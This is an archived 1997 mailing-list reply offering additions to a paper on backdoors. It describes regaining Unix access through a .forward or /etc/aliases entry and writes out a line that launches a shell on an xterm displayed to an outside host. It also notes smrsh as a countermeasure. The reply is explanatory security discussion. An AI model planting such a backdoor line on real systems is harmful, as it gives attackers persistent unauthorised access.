mailing list archives
Re: Backdoor Paper
From: avalon () COOMBS ANU EDU AU (Darren Reed)
Date: Tue, 26 Aug 1997 10:31:36 +1000
In some mail from Evil Pete, sie said:
Here's a paper I wrote on backdoors. Feedback welcome.
you may want to add:
On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ``username''
a .forward file might be constructed as follows:
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).
PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
the client and server).
Using smrsh can effectively negate this backdoor (although it's quite
possibly still a problem if you allow things like elm's filter or
procmail which can run programs themselves...).